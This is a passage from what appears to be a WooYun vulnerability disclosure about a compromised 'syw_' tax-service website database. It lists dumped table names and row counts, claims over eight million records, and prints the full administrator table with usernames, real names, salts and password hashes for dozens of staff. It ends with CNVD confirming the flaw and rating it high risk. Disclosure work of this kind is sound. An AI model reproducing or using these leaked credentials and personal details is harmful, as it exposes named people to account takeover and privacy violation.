| syw_business_guide_syjt_data    | 676     |
| syw_ywxt_train_apply_1429517118 | 603     |
| syw_ywxt_train_colfield         | 499     |
| syw_category                    | 476     |
| syw_ywxt_train_apply_1430707470 | 462     |
| syw_ywxt_train_class            | 419     |
| syw_menu                        | 408     |
| syw_ywxt_train_apply_1429517295 | 407     |
| syw_ywxt_train_apply_1429517198 | 387     |
| syw_poster_201601               | 311     |
| syw_ywxt_product                | 311     |
| syw_news_sh                     | 306     |
| syw_news_sh_data                | 306     |
| syw_ywxt_train_apply_1436144476 | 296     |
| syw_ywxt_calendar               | 259     |
| syw_ywxt_train_apply_1438052366 | 242     |
| syw_news                        | 225     |
| syw_news_data                   | 225     |
| syw_wkc_video                   | 223     |
| syw_position_data               | 218     |
| syw_favorite                    | 193     |
| syw_cache                       | 191     |
| syw_news_gd                     | 173     |
| syw_news_gd_data                | 173     |
| syw_datacollect                 | 151     |
| syw_ywxt_train_apply_1433146789 | 145     |
| syw_news_gx                     | 142     |
| syw_news_gx_data                | 142     |
| syw_model                       | 134     |
| syw_content_check               | 128     |
| syw_wkc_ask                     | 121     |
| syw_ywxt_train                  | 113     |
| syw_ywxt_train_apply_1429532114 | 93      |
| syw_ywxt_train_apply_1430787716 | 91      |
| syw_ywxt_train_apply_1434092955 | 89      |
| syw_ywxt_train_apply_1433146745 | 88      |
| syw_ywxt_gift                   | 87      |
| syw_download_sz                 | 85      |
| syw_download_sz_data            | 85      |
| syw_ywxt_train_apply_1449044689 | 80      |
| syw_news_fj                     | 74      |
| syw_news_fj_data                | 74      |
| syw_type                        | 74      |
| syw_news_cq                     | 73      |
| syw_news_cq_data                | 73      |
| syw_ywxt_train_apply_1429517335 | 73      |
| syw_admin                       | 64      |
| syw_news_sz_data                | 63      |
| syw_times                       | 63      |
| syw_download_sh                 | 58      |
| syw_download_sh_data            | 58      |
| syw_news_sz                     | 58      |
| syw_ywxt_train_apply_1429578564 | 58      |
| syw_position                    | 57      |
| syw_ywxt_train_apply_1436351398 | 55      |
| syw_news_jx                     | 49      |
| syw_news_jx_data                | 49      |
| syw_wkc_type                    | 49      |
| syw_news_gs                     | 47      |
| syw_news_gs_data                | 47      |
| syw_news_hb                     | 46      |
| syw_news_hb_data                | 46      |
| syw_download_sx                 | 45      |
| syw_download_sx_data            | 45      |
| syw_admin_role                  | 44      |
| syw_risk_taxsaving_syjt         | 44      |
| syw_risk_taxsaving_syjt_data    | 44      |
| syw_ywxt_train_apply_1426146480 | 44      |
| syw_download_gd                 | 43      |
| syw_download_gd_data            | 43      |
| syw_ywxt_train_apply_1433146836 | 43      |
| syw_news_sx                     | 42      |
| syw_news_sx_data                | 42      |
| syw_module                      | 41      |
| syw_ywxt_train_apply_1429578573 | 40      |
| syw_ywxt_train_apply_1449044311 | 40      |
| syw_member_detail               | 39      |
| syw_ywxt_train_apply_1438765991 | 39      |
| syw_ywxt_train_apply_1429166513 | 38      |
| syw_news_xj                     | 36      |
| syw_news_xj_data                | 36      |
| syw_poster                      | 35      |
| syw_ywxt_system_params          | 35      |
| syw_news_qh                     | 33      |
| syw_news_qh_data                | 33      |
| syw_ywxt_train_apply_1429578563 | 33      |
| syw_news_tj                     | 29      |
| syw_news_tj_data                | 29      |
| syw_ywxt_dm_fzgs                | 28      |
| syw_ywxt_train_apply_1437012954 | 27      |
| syw_news_ah                     | 26      |
| syw_news_ah_data                | 26      |
| syw_ywxt_dm_cpdl                | 26      |
| syw_ywxt_train_apply_1428998563 | 26      |
| syw_ywxt_train_apply_1434093004 | 26      |
| syw_download_fj                 | 24      |
| syw_download_fj_data            | 24      |
| syw_ywxt_train_apply_1429578562 | 24      |
| syw_ywxt_train_apply_1449044637 | 23      |
| syw_banner_sh                   | 22      |
| syw_banner_sh_data              | 22      |
| syw_banner_sz                   | 22      |
| syw_banner_sz_data              | 22      |
| syw_upvote                      | 21      |
| syw_upvote_record               | 21      |
| syw_news_shanxi                 | 20      |
| syw_news_shanxi_data            | 20      |
| syw_site                        | 20      |
| syw_banner_gx                   | 19      |
| syw_banner_gx_data              | 19      |
| syw_banner_xj                   | 19      |
| syw_banner_xj_data              | 19      |
| syw_news_hn                     | 19      |
| syw_news_hn_data                | 19      |
| syw_sso_session                 | 19      |
| syw_download_cq                 | 18      |
| syw_download_cq_data            | 18      |
| syw_download_jx                 | 18      |
| syw_download_jx_data            | 18      |
| syw_news_gz                     | 18      |
| syw_news_gz_data                | 18      |
| syw_ywxt_train_apply_1426147546 | 18      |
| syw_banner_cq                   | 17      |
| syw_banner_cq_data              | 17      |
| syw_banner_fj                   | 17      |
| syw_banner_fj_data              | 17      |
| syw_banner_gs                   | 17      |
| syw_banner_gs_data              | 17      |
| syw_banner_hb                   | 17      |
| syw_banner_hb_data              | 17      |
| syw_banner_tj                   | 17      |
| syw_banner_tj_data              | 17      |
| syw_poster_space                | 16      |
| syw_ywxt_ddzt                   | 16      |
| syw_ywxt_train_apply_1429156296 | 16      |
| syw_banner_gd                   | 15      |
| syw_banner_gd_data              | 15      |
| syw_banner_qh                   | 15      |
| syw_banner_qh_data              | 15      |
| syw_banner_sx                   | 15      |
| syw_banner_sx_data              | 15      |
| syw_ywxt_train_apply_1434093074 | 15      |
| syw_latest_policy_syjt          | 14      |
| syw_latest_policy_syjt_data     | 14      |
| syw_news_zj                     | 14      |
| syw_news_zj_data                | 14      |
| syw_ywxt_app_rightpic           | 14      |
| syw_ywxt_train_apply_1436429988 | 14      |
| syw_ywxt_train_apply_1438856174 | 14      |
| syw_banner_ah                   | 12      |
| syw_banner_ah_data              | 12      |
| syw_banner_hn                   | 12      |
| syw_banner_hn_data              | 12      |
| syw_ywxt_job                    | 12      |
| syw_ywxt_train_apply_1431928549 | 12      |
| syw_ywxt_train_apply_1436420509 | 12      |
| syw_ywxt_fzgs_cpb               | 11      |
| syw_ywxt_train_apply_1426745217 | 11      |
| syw_banner                      | 10      |
| syw_banner_data                 | 10      |
| syw_banner_jx                   | 10      |
| syw_banner_jx_data              | 10      |
| syw_download_qh                 | 10      |
| syw_download_qh_data            | 10      |
| syw_ywxt_app_mempic             | 10      |
| syw_ywxt_train_apply_1437014202 | 10      |
| syw_ywxt_train_apply_1429578560 | 9       |
| syw_ywxt_train_apply_1436351356 | 9       |
| syw_urlrule                     | 8       |
| syw_banner_shanxi               | 7       |
| syw_banner_shanxi_data          | 7       |
| syw_member_group                | 7       |
| syw_ywxt_train_apply_1427709666 | 7       |
| syw_ywxt_train_apply_1428998005 | 7       |
| syw_ywxt_train_apply_1436419113 | 7       |
| syw_ywxt_train_apply_1445319489 | 7       |
| syw_yxfw_type                   | 7       |
| syw_admin_panel                 | 6       |
| syw_download                    | 6       |
| syw_download_data               | 6       |
| syw_download_gs                 | 6       |
| syw_download_gs_data            | 6       |
| syw_recruit_fj                  | 6       |
| syw_recruit_fj_data             | 6       |
| syw_ywxt_dm_ywdl                | 6       |
| syw_ywxt_train_apply_1427376466 | 6       |
| syw_ywxt_train_apply_1428998038 | 6       |
| syw_ywxt_train_apply_1430813685 | 6       |
| syw_banner_gz                   | 5       |
| syw_banner_gz_data              | 5       |
| syw_recruit_sh                  | 5       |
| syw_recruit_sh_data             | 5       |
| syw_sso_settings                | 5       |
| syw_ywxt_dm_khlx                | 5       |
| syw_ywxt_mempic                 | 5       |
| syw_ywxt_train_apply_1428997902 | 5       |
| syw_banner_zj                   | 4       |
| syw_banner_zj_data              | 4       |
| syw_comment                     | 4       |
| syw_comment_data_1              | 4       |
| syw_download_gx                 | 4       |
| syw_download_gx_data            | 4       |
| syw_message                     | 4       |
| syw_workflow                    | 4       |
| syw_ywxt_sign                   | 4       |
| syw_ywxt_train_apply_1428998522 | 4       |
| syw_ywxt_train_apply_1436350940 | 4       |
| syw_ywxt_train_apply_1447054844 | 4       |
| syw_download_ah                 | 3       |
| syw_download_ah_data            | 3       |
| syw_download_gz                 | 3       |
| syw_download_gz_data            | 3       |
| syw_download_tj                 | 3       |
| syw_download_tj_data            | 3       |
| syw_hswy_banner_sz              | 3       |
| syw_hswy_banner_sz_data         | 3       |
| syw_member_menu                 | 3       |
| syw_ywxt_train_apply_1429578572 | 3       |
| syw_ywxt_train_apply_1436418841 | 3       |
| syw_ywxt_train_apply_1436767606 | 3       |
| syw_ywxt_train_apply_1438761035 | 3       |
| syw_ywxt_train_apply_1444284839 | 3       |
| syw_ywxt_train_apply_1447811099 | 3       |
| syw_ywxt_train_apply_1448852726 | 3       |
| syw_download_shanxi             | 2       |
| syw_download_shanxi_data        | 2       |
| syw_hswy_ycs_hb                 | 2       |
| syw_hswy_ycs_hb_data            | 2       |
| syw_link                        | 2       |
| syw_recruit_gd                  | 2       |
| syw_recruit_gd_data             | 2       |
| syw_recruit_hb                  | 2       |
| syw_recruit_hb_data             | 2       |
| syw_recruit_jx                  | 2       |
| syw_recruit_jx_data             | 2       |
| syw_ywxt_train_apply_1426147499 | 2       |
| syw_ywxt_train_apply_1428465907 | 2       |
| syw_ywxt_train_apply_1430813688 | 2       |
| syw_ywxt_train_apply_1436422604 | 2       |
| syw_ywxt_train_apply_1447745305 | 2       |
| syw_ywxt_yjdc                   | 2       |
| syw_yxfwurl                     | 2       |
| syw_comment_setting             | 1       |
| syw_comment_table               | 1       |
| syw_datacollect_config          | 1       |
| syw_download_hn                 | 1       |
| syw_download_hn_data            | 1       |
| syw_hswy_ycs_gd                 | 1       |
| syw_hswy_ycs_gd_data            | 1       |
| syw_hswy_ycs_sc                 | 1       |
| syw_hswy_ycs_sc_data            | 1       |
| syw_hswy_ycs_syjt_bak1203       | 1       |
| syw_hswy_ycs_syjt_data_bak1203  | 1       |
| syw_poster_201502               | 1       |
| syw_poster_201503               | 1       |
| syw_recruit_sz                  | 1       |
| syw_recruit_sz_data             | 1       |
| syw_sso_admin                   | 1       |
| syw_sso_applications            | 1       |
| syw_tag                         | 1       |
| syw_wap                         | 1       |
| syw_wkc_banner                  | 1       |
| syw_wkc_wxpic                   | 1       |
| syw_ywxt_hjmd                   | 1       |
| syw_ywxt_robot_timeset          | 1       |
| syw_ywxt_train_apply_1422522857 | 1       |
| syw_ywxt_train_apply_1422934389 | 1       |
| syw_ywxt_train_apply_1428395111 | 1       |
| syw_ywxt_train_apply_1428465851 | 1       |
| syw_ywxt_train_apply_1429517430 | 1       |
| syw_ywxt_train_apply_1432708191 | 1       |
| syw_ywxt_train_apply_1432709704 | 1       |
| syw_ywxt_train_apply_1436419353 | 1       |
| syw_ywxt_train_apply_1436422600 | 1       |
| syw_ywxt_train_apply_1439954836 | 1       |
| syw_ywxt_train_apply_1448431809 | 1       |
| syw_ywxt_train_apply_1448864712 | 1       |
+---------------------------------+---------+


八百多万条信息

3.png


例举10条

2.png


管理员帐户信息

+--------+--------+---------+---------+--------------------------+---------+----------+----------+----------------------------------+-----------------+---------------+
| roleid | userid | lang    | card    | email                    | encrypt | username | realname | password                         | lastloginip     | lastlogintime |
+--------+--------+---------+---------+--------------------------+---------+----------+----------+----------------------------------+-----------------+---------------+
| 1      | 1      | <blank> | <blank> | localhost@**.**.**.** | 7B67tf  | servyou  | <blank>  | dcb6160a94d0b51c3359ab15781dddf1 | **.**.**.**   | 1452055898    |
| 8      | 2      | <blank> | <blank> | zkg@**.**.**.**       | entsYp  | zkg      | 钟宽根      | ec6d410988d053b9f542709ff51092d8 | **.**.**.**  | 1452047546    |
| 9      | 3      | <blank> | <blank> | lingwy@**.**.**.**    | b8y3kR  | lingwy   | 凌雯艳      | 0a31d2766483d2624967e772ebd4c87a | **.**.**.**  | 1452059241    |
| 10     | 4      | zh-cn   | <blank> | linhm@**.**.**.**     | wSqg39  | dzx      | 林慧梅      | 2cb087ccbe37e896b9e3cab1c60d9c55 | **.**.**.**   | 1451359316    |
| 16     | 35     | <blank> | <blank> | wkctest@**.**.**.**   | 6NgZzI  | wkctest  | wkctest  | 8780532e67550dabb6f65a53f3423722 | **.**.**.**  | 1451384508    |
| 14     | 11     | <blank> | <blank> | xgh@**.**.**.**       | psWnG7  | xgh      | 徐国华      | 73c80a969e40fbb27cada99021a47d62 | **.**.**.**  | 1451385359    |
| 14     | 10     | <blank> | <blank> | bjg@**.**.**.**       | dASAMF  | bjg      | 白江       | 431213551ef75f9cbe35b6adbb286bd4 | **.**.**.**  | 1451386136    |
| 15     | 12     | <blank> | <blank> | zhfq@**.**.**.**      | vDIyvt  | zhfq     | 郑富强      | 4b3dc69799752c9962f4b35c081c5d92 | **.**.**.**   | 1452047216    |
| 16     | 13     | <blank> | <blank> | zhx@**.**.**.**       | fyDuaC  | wkcgl    | 微课程      | 6fe11b0501f4e53bd53ef57d0f08fc07 | **.**.**.** | 1451959611    |
| 17     | 14     | <blank> | <blank> | zkf@**.**.**.**       | 26PtlY  | zkf      | 张科峰      | aac306e797e0c63caa75e00838f05cf3 | **.**.**.**   | 1452061301    |
| 17     | 15     | <blank> | <blank> | wzf@**.**.**.**       | YEW1pu  | wzf      | 吴战飞      | b68f2a08e187fc41afd754dd61ae6d8d | **.**.**.**  | 1426236095    |
| 18     | 17     | <blank> | <blank> | fzf@**.**.**.**       | B81jiU  | fzf      | 冯泽锋      | 1303be4711908006563e7ca96d4da869 | **.**.**.**  | 1452065247    |
| 19     | 25     | <blank> | <blank> | chenlina@**.**.**.**  | VXf46G  | chenlina | 陈立娜      | f512b0967655f27f83f09fb0857f5de3 | **.**.**.**    | 1451973926    |
| 19     | 18     | <blank> | <blank> | cuiyf@**.**.**.**     | 2uCAjP  | cuiyf    | 崔云飞      | 7d660b995f16b342e0d9667379a2984c | **.**.**.**  | 1448336489    |
| 14     | 19     | <blank> | <blank> | hjm@**.**.**.**       | XZICXN  | hjm      | 何结明      | 26469418929e7150e2ceb5f279aa9466 | **.**.**.**   | 1440398445    |
| 20     | 20     | <blank> | <blank> | szgl@**.**.**.**      | hmd2j7  | szgl     | <blank>  | 2b4589c90b404c895c3a58c9d3883caf | **.**.**.**   | 1452046944    |
| 23     | 23     | <blank> | <blank> | zkf@**.**.**.**       | tj1evi  | zkf1     | 张科峰      | 1f4e315c1e269086f365bdf70ea19783 | **.**.**.**  | 1449712207    |
| 21     | 21     | <blank> | <blank> | wanglin@**.**.**.**   | M7lImu  | wanglin  | 王林       | caef4368e47171d0bc0df6a68d144f2c | **.**.**.**    | 1452059351    |
| 22     | 22     | <blank> | <blank> | heyong@**.**.**.**    | uQJh8u  | heyong   | 何勇       | 95e38614aa96d5c16d97c40970c5a8bb | **.**.**.**   | 1451975013    |
| 26     | 27     | <blank> | <blank> | wyn@**.**.**.**       | JxwSN6  | wyn      | 文艳       | 1440ad1b7fd74145497b86a7628cbfd4 | **.**.**.**  | 1451884983    |
| 24     | 24     | <blank> | <blank> | liangb@**.**.**.**    | 3LhQhn  | liangb   | 梁冰       | 7b16b6f76dfe5fb3eb2ca63a1fbe174e | **.**.**.**  | 1442970685    |
| 25     | 26     | <blank> | <blank> | huangya@**.**.**.**   | K2XGGG  | huangya  | 黄雅       | 8152970fbef73a9540bbd515f073f581 | **.**.**.**   | 1452060456    |
| 26     | 28     | <blank> | <blank> | fqg@**.**.**.**       | eckhj7  | fqg      | <blank>  | b21da209224c54020e943649b755646f | **.**.**.**  | 1450260345    |
| 26     | 29     | <blank> | <blank> | lili@**.**.**.**      | NuKFSw  | lili     | <blank>  | 03f70b66c8c91960ca8df6bbfbe0d4a8 | **.**.**.**  | 1445312807    |
| 27     | 30     | <blank> | <blank> | liujq@**.**.**.**     | yjgstb  | liujq    | 刘嘉祺      | 8f2605a5b13718f0a40d072644e523f0 | **.**.**.** | 1451459001    |
| 28     | 31     | <blank> | <blank> | jyh@**.**.**.**       | ahgPZD  | jyh      | 金宇辉      | 96717507a61e86856c0cf663d45e699d | **.**.**.**  | 1444633768    |
| 28     | 32     | <blank> | <blank> | hying@**.**.**.**     | Ez357Q  | hying    | 韩瑛       | 6b76ab329a07c8351e9fe8d5b78ab6bd | **.**.**.**  | 1451956879    |
| 29     | 33     | <blank> | <blank> | chyming@**.**.**.**   | luDAa3  | chyming  | 陈叶鸣      | dab2849adad2b1f367b9395bbba75179 | **.**.**.**   | 1451980562    |
| 30     | 34     | <blank> | <blank> | rzg@**.**.**.**       | Uha7I9  | zjgly    | <blank>  | 10c4fb941579dfd69bdeb29bcb3dfdd2 | **.**.**.** | 1441074352    |
| 31     | 36     | <blank> | <blank> | wkcask1@**.**.**.**   | DIq9SM  | wkcask1  | wkcask1  | 6e24d13712cbad649e718ad2a4dcbf5e | NULL            | 0             |
| 31     | 37     | <blank> | <blank> | wkcask2@**.**.**.**   | HI8zAY  | wkcask2  | wkcask2  | e979ef8a4e43f2f4ae47192dcb2fd038 | NULL            | 0             |
| 31     | 38     | <blank> | <blank> | wkcask3@**.**.**.**   | 6egDCu  | wkcask3  | wkcask3  | 08f9f20ad48b106855e8b1f9cb53d7f3 | NULL            | 0             |
| 31     | 39     | <blank> | <blank> | wkcask4@**.**.**.**   | W58sLn  | wkcask4  | wkcask4  | dfb901e089ac2d5d9e58c19de319f924 | NULL            | 0             |
| 31     | 40     | <blank> | <blank> | wkcask5@**.**.**.**   | XRu9uq  | wkcask5  | wkcask5  | 8bd1bfaae09ee26d670442de790ab847 | NULL            | 0             |
| 31     | 41     | <blank> | <blank> | wkcask6@**.**.**.**   | lM7C4Z  | wkcask6  | wkcask6  | 30f6b7b7f873801f3682670774e8bf60 | NULL            | 0             |
| 31     | 42     | <blank> | <blank> | wkcask7@**.**.**.**   | xHHhSf  | wkcask7  | wkcask7  | 4ad1e38dc50f609b3d8bb123e85052d1 | NULL            | 0             |
| 31     | 43     | <blank> | <blank> | wkcask8@**.**.**.**   | AVvDEc  | wkcask8  | wkcask8  | c390016aad366ec78e7551f675a055b6 | NULL            | 0             |
| 31     | 44     | <blank> | <blank> | wkcask9@**.**.**.**   | s7f1Ej  | wkcask9  | wkcask9  | 656d8a2bca4c8ddf30f0c1cb8dd03a0b | **.**.**.**  | 1451388223    |
| 32     | 45     | <blank> | <blank> | lifg@**.**.**.**      | jIt1hN  | lifang   | 李帆       | 5b7f3d59b33d2be0c576e484d2da1e15 | **.**.**.**   | 1449214706    |
| 33     | 46     | <blank> | <blank> | mbsc@**.**.**.**      | vy3xWi  | mbsc     | mbsc     | c629d191ddfa23337a39e80783119d37 | **.**.**.**  | 1442221586    |
| 34     | 47     | <blank> | <blank> | mbjx@**.**.**.**      | IGbGzj  | mbjx     | mbjx     | 5a990fcba18e92c654b5dceb0dcea71a | NULL            | 0             |
| 35     | 48     | <blank> | <blank> | mbah@**.**.**.**      | l5Jk3T  | mbah     | mbah     | 4ff3161f2500651807c2e3b5bcd6f815 | NULL            | 0             |
| 36     | 49     | <blank> | <blank> | mbsz@**.**.**.**      | BRvHGg  | mbsz     | mbsz     | e41d1dcc0206f2ed1309b9f230c17b34 | **.**.**.**   | 1448238789    |
| 37     | 50     | <blank> | <blank> | mbgs@**.**.**.**      | wZksLs  | mbgs     | mbgs     | 82734ebc7f330b9f443b9f38b8a90dd0 | NULL            | 0             |
| 38     | 51     | <blank> | <blank> | mbgd@**.**.**.**      | Qnjs9R  | mbgd     | mbgd     | 5efdacfaac8efac903ad471996dc37a6 | **.**.**.**  | 1445244809    |
| 39     | 52     | <blank> | <blank> | mbhb@**.**.**.**      | g19EaF  | mbhb     | mbhb     | 82c29c7bccea5085d8da03c952d7c824 | **.**.**.**    | 1442798303    |
| 40     | 53     | <blank> | <blank> | mbcq@**.**.**.**      | Kpvy2r  | mbcq     | mbcq     | 716dd767c46c63777057e327ce3c9e99 | NULL            | 0             |
| 41     | 54     | <blank> | <blank> | mbgx@**.**.**.**      | 7qFeN5  | mbgx     | mbgx     | 2b5efc59697c63f5c7e48dcaf86aaee8 | NULL            | 0             |
| 42     | 55     | <blank> | <blank> | mbqh@**.**.**.**      | QPwBTi  | mbqh     | mbqh     | 6076b339cc9af926ec490837beafeddb | NULL            | 0             |
| 43     | 56     | <blank> | <blank> | mbfj@**.**.**.**      | bJjL9B  | mbfj     | mbfj     | c3761630de6d5989c42d2701140417ec | **.**.**.**   | 1451360648    |
| 44     | 57     | <blank> | <blank> | mbshanxi@**.**.**.**  | D6eliX  | mbshanxi | mbshanxi | 0ec993ca09dd6cfd49d295917f32543a | NULL            | 0             |
| 45     | 58     | <blank> | <blank> | mbsx@**.**.**.**      | Xjh4f8  | mbsx     | mbsx     | 09e5336cde400deb0b0d6abcfedeca97 | NULL            | 0             |
| 46     | 59     | <blank> | <blank> | mbxj@**.**.**.**      | W6mFL6  | mbxj     | mbxj     | 41e9c472f68fec5d821395394d31fcb2 | NULL            | 0             |
| 47     | 60     | <blank> | <blank> | mbsh@**.**.**.**      | J2fewG  | mbsh     | mbsh     | 1f053775c487236ce0379acbb160aa59 | **.**.**.**  | 1444635459    |
| 48     | 61     | <blank> | <blank> | mbtj@**.**.**.**      | mFwWwz  | mbtj     | mbtj     | 0dc70c55e63a4566f347ddce5c36cb70 | **.**.**.**   | 1441113334    |
| 49     | 62     | <blank> | <blank> | mbzj@**.**.**.**      | Snva4J  | mbzj     | mbzj     | 12123f840384ef259b5e350fa2776d62 | NULL            | 0             |
| 15     | 63     | <blank> | <blank> | test@**.**.**.**      | BGqvYG  | sztest   | 深圳站管理员测试 | ea68c297dcb704d7058b557e5ab2d04c | **.**.**.**   | 1441168188    |
| 51     | 65     | <blank> | <blank> | gzadmin@**.**.**.**   | EF8evF  | gzadmin  | <blank>  | 77af27621acb71592d0049818a2a61e6 | **.**.**.**    | 1449558940    |
| 50     | 64     | <blank> | <blank> | hnadmin@**.**.**.**   | lpNDUw  | hnadmin  | <blank>  | c915ac3e099eb0dd1917379bb9d47fe3 | **.**.**.**    | 1449559176    |
| 52     | 66     | <blank> | <blank> | zhaohua@**.**.**.**   | QXMBj2  | zhaohua  | 赵华       | b194be2d65df269f5325ae9f0ed8b4f9 | **.**.**.**   | 1451976311    |
| 52     | 67     | <blank> | <blank> | liuhx@**.**.**.**     | YzpZvE  | liuhx    | 刘海星      | 4e247719c0afb627f79b8dec14dc4c9e | **.**.**.**   | 1450853293    |
| 52     | 68     | <blank> | <blank> | limy@**.**.**.**      | PfzVlG  | limy     | 李美英      | 5305221eed6a065b0db35cc95ae9a71b | **.**.**.**   | 1450748300    |
| 52     | 69     | <blank> | <blank> | lifg@**.**.**.**      | iSpXnC  | lifg     | 李帆       | 1fbc8a5542c526216aa380300001f7f4 | **.**.**.**   | 1452049763    |
| 53     | 70     | <blank> | <blank> | ycs-sc@**.**.**.**    | HJNJGz  | ycs_sc   | 四川阅财税管理员 | 6604c30a06cd675ea8d4d844aafbcf13 | **.**.**.**   | 1449713139    |
+--------+--------+---------+---------+--------------------------+---------+----------+----------+----------------------------------+-----------------+---------------+


版权声明：转载请注明来源 头晕脑壳疼@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-01-11 15:41

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给陕西分中心，由陕西分中心后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评价